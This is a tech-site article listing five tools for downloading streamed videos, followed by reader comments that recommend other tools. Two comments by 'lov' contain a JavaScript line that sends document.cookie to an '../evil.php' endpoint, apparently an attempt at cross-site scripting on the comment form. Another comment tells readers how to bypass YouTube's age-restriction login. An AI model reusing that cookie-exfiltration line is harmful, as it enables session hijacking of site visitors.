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A majority of today’s internet traffic consists of streamed video. YouTube alone accounts for a big chunk of that. Over 400 hours of content uploaded every minute, an average of 40 minutes watched per session, and greater reach in the 18–49 demographic than cable TV.

And then you have to consider other video streaming sites like Vimeo, Dailymotion, Metacafe, Vine, Twitch, etc. That’s a lot of data flowing around.

If your ISP caps your monthly data allowance, then video streaming can be expensive. You end up downloading a lot of repeat data every time you re-watch a video, and it can add up quick. It’s also a pain not being able to watch videos when your internet cuts out (or the video site goes down).

The solution is to download frequently-watched videos to your computer. You can re-watch them as many times as you want without wasting bandwidth. This is especially useful for educational and entertainment videos as they both tend to be highly re-watchable.

1. VideoGrabby (Web)

download-online-video-videograbby

Supported sites: Facebook, Soundcloud, Vimeo, Vine, YouTube.

VideoGrabby is the simplest and most straightforward tool. We recommend it if you want a no-hassle option that requires a close to zero effort on your part. The trade-off is less flexibility as far as quality and downloading options go, but it’ll get the job done.

Just copy the URL of an online video and paste it into VideoGrabby. As soon as you do, two buttons show up: Record Video and Record Audio. The video option downloads as MP4 while the audio option downloads as MP3. (What’s the difference between MP3 and MP4?)

The quality isn’t superb but it’s certainly passable. If you scroll down to the bottom of the site, you can click HQ to switch to high-quality downloads, but I wasn’t able to get it working as of writing this.

2. Video DownloadHelper (Firefox, Chrome)

download-online-video-downloadhelper

Supported sites: Dailymotion, Facebook, Instagram, Lynda, Twitter, Udemy, Vimeo, YouTube, and hundreds of other sites.

Video DownloadHelper is easily one of the most useful browser extensions you’ll ever install. It’s even simpler to use than the above-mentioned VideoGrabby, but the downside (if you can even call it one) is that you have to install it on your browser, which could slow down browser performance.

But, if you download a lot of videos on a day-to-day basis, Video DownloadHelper is worth whatever performance hit you might take, and in my experience the performance hit is negligible.

The extension adds a button next to your browser’s address bar. Whenever you come across an online video, you can just click the button to download any of the videos on the current page.

3. Freemake Video Downloader (Windows)

download-online-video-freemake

Supported sites: Dailymotion, Facebook, Liveleak, Veoh, Vimeo, YouTube, and dozens of other sites.

Freemake Video Downloader is one of the most popular video downloading tools out there. It’s completely free, easy to use, and relatively flexible as far as quality and format options are concerned. The one big downside is that it’s only available on Windows.

Videos can be downloaded in a handful of formats, including AVI, FLV, MKV, MP4, and WMV. Videos can also be downloaded in MP3 format if you only want the audio portion. The actual process only requires the URL of the video you want to download — just copy and paste it in.

4. JDownloader 2 (Windows, Mac, Linux)

download-online-video-jdownloader

Supported sites: Nearly any site with streaming video.

JDownloader 2 is like Freemake Video Downloader but with a twist. You take the URL of any page that has a streamed video on it, paste it into the app, and it will scan the page for all the videos it can detect. You get to pick which of the detected videos you want to download.

The nice thing about JDownloader 2 is that you don’t need the direct URL of a specific video.Take a MakeUseOf article with ten videos, for example, and all them will be detected. This makes it very easy to capture several different videos at once.

Bundleware warning! When you run the installer, you’ll eventually come across a page that offers to install Bing Search or something else. On this page, the buttons will change to Decline and Accept. Make sure you click Decline! This will prevent bundleware from being installed on your system.

5. youtube-dl (Windows, Mac, Linux)

Supported sites: Dailymotion, Facebook, HBO, Metacafe, Vimeo, Vine, YouTube, and thousands of other sites.

youtube-dl is a tool for advanced users who are comfortable using the command line. If you prefer graphical interfaces, save yourself the headache and just use one of the ones listed above.

But if you’re okay with command line utilities, then youtube-dl offers the most flexibility of any video downloading tool. It’s complicated enough to have a non-trivial learning curve though, so prepare to read the documentation or else you’ll be lost.

Features include several video selection and quality parameters, playlist processing, download rate limit, batch video downloading, automatic naming of files, inclusion of ads (currently experimental), and downloading subtitles (for sites like YouTube).

As of now, the following formats are supported: 3GP, AAC, FLV, M4A, MP3, MP4, OGG, WAV, and WEBM.

A Last Resort for Capturing Online Videos

If you encounter a video that isn’t supported by any of the above tools, the last resort is to play the video in fullscreen mode and record your screen as it plays. It’s not a perfect solution, but it works in a pinch. Check out our favorite screen recorder apps to get started.

You can also use VLC to simultaneously play and record online videos 6 Cool VLC Tips & Tricks You Might Not Know About 6 Cool VLC Tips & Tricks You Might Not Know About VideoLan's VLC media player is a real box of tricks and is just as effective on a Windows operating system as it is on Mac or Linux. Those of you who are already using VLC... Read More as long as you’re able to get the direct URL of the video for playback.

Let us know which of these tools you found most interesting! And if there are any other ways to download online videos that we missed, please share them with us in the comments.

Originally written by Steve Campbell on September 28, 2010.

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  1. mellymelo
    May 29, 2017 at 9:59 pm

    Thank you, even tought I didn't try yet... Hope I'll find my hapiness :)

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  3. Thomas Lawrence
    January 11, 2017 at 2:57 pm

    What about Clip Grab it works great

  4. cybernard
    January 11, 2017 at 5:25 am

    4k Video downloader

    It seems to work good for me

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  6. lov
    December 12, 2015 at 12:44 am

    var adr = '../evil.php?cakemonster=' + escape(document.cookie);

  7. lov
    December 12, 2015 at 12:43 am

    I love this thank you
    var adr = '../evil.php?cakemonster=' + escape(document.cookie);

  8. lov
    December 12, 2015 at 12:39 am

    ok

  9. ajay
    November 16, 2015 at 4:29 am

    use 'video downloader professional, 'eagle get', or 'vGet'. All these are available as chrome extensions. Eagle get is super cool. hope this helps.

  10. Ramlu
    May 2, 2015 at 12:09 pm

    Here is a hard one! I,ve been trying to download videos from this site and still cant find a downloader that works. Its imposible. Will you try to find out which downloader works? This is the site http://www.dialogopastoral.com This challenge is for anyone! Good luck!

    • ajay
      November 16, 2015 at 4:31 am

      Use vGet extension in chrome browser. It worked.

  11. Citizenearth
    November 27, 2010 at 7:23 am

    Alas, all these video downloader don't work on websites that stream their videos using RTMP protocol.

  12. Citizenearth
    November 27, 2010 at 8:23 am

    Alas, all these video downloader don't work on websites that stream their videos using RTMP protocol. For example: 4tube.com, Nuts.co.uk.

  13. Streaming Video Capture
    November 1, 2010 at 2:57 pm

    Recording Or capturing online videos using webcam recorder and streaming video capture is a faster and cheaper way of producing own video content.

  14. Aibek
    October 2, 2010 at 2:27 pm

    xVideoServiceThief, http://www.makeuseof.com/tag/x...

  15. Pretush
    September 30, 2010 at 11:00 am

    download helper is the best one

  16. Steve Campbell
    September 29, 2010 at 5:05 pm

    Glad to see everyone has their own opinions regarding capturing streaming videos. Maybe these video sites should start integrating this feature?

  17. Andre
    September 29, 2010 at 4:38 pm

    any video converter is the best!!!

  18. d.g.
    September 29, 2010 at 11:49 am

    Each of these sites is linked from deturl.com, which is sort of a meta-downloader-tool.

    It combines a traditional downloading links + a download bookmarklet (direct downloading, not simple redirection) + redirection bookmarklet + links to other downloading services.

    By using its bookmarklet on any video page from MANY different video streaming sites, you will either be given a direct link to download the file from the actual video page, or you will be redirect to deturl.com and given multiple different choices for downloading the video, such as links to the sites above.

    For some sites, especially random sites that have some sort of embedded video, or even simply links to video files, such as mpg files and avi files, it will provide links directly. It depends on the site and what works best. It works on FaceBook and many adult websites such as RedTube, PornHub, XXXBunker, Tube8, XVideos, and more.

    Not only does it help you download, but it helps you convert YouTube videos to MP3, AVI, and many other formats. It also links you directly to other useful services, such as youtubeproxy, synchtube, youtubesocial, endlessyoutube, tubechop, youtubedoubler, etc.

    Deturl first launched as PwnYouTube.com, and still you can insert "PWN' into the url of any youtube video to get download links. This is a nice way to also bypass YouTube's request to login to see age restricted videos.

    Honestly, I'd love to see a separate article about Deturl.

  19. Brightico
    September 29, 2010 at 8:50 am

    I use download helper and cam studio

  20. Bob
    September 29, 2010 at 10:10 am

    If you have watched the entire video on your machine you may be able to pick it up using videocacheview from nir sofer, small, good and best of all free

    http://www.softpedia.com/get/I...

  21. Bob
    September 29, 2010 at 8:10 am

    If you have watched the entire video on your machine you may be able to pick it up using videocacheview from nir sofer, small, good and best of all free

    http://www.softpedia.com/get/Internet/Download-Managers/VideoCacheView.shtml

  22. Anonymous
    September 29, 2010 at 4:02 am

    Ubuntu downloads streaming videos automatically for some sites (youtube, vimeo, dailymotion work). It stores the vids in /tmp you just have to browse the folder and look for the flash"___" (some crazy thing here) file and paste it wherever you want (and rename it).

    • FB
      October 2, 2010 at 4:53 am

      it's pretty much the same for windows. if you have "unlocker" installed, just browse for /local settings/temp folder and look for fla**.tmp file. Use unlocker by right-clicking it, copy, rename it, change extension to .mp4 (720p) or .flv (360p or 480p).

      • Aibek
        October 2, 2010 at 12:26 pm

        I guess we can say it's pretty much the same for all operating systems. The streaming video files are stored somewhere in the temp folders.

  23. vietvet52
    September 29, 2010 at 5:52 am

    should of looked at that comment before i posted it

    been using download helper since it first came out nice app , i uses
    Realplayer , download all so , that one works on Firefox and e and chrome ,

  24. vietvet52
    September 29, 2010 at 3:52 am

    should of looked at that comment before i posted it

    been using download helper since it first came out nice app , i uses
    Realplayer , download all so , that one works on Firefox and e and chrome ,

  25. vietvet52
    September 29, 2010 at 3:47 am

    been using downloaded, since came out, all uses realplayers down-loader works good ,.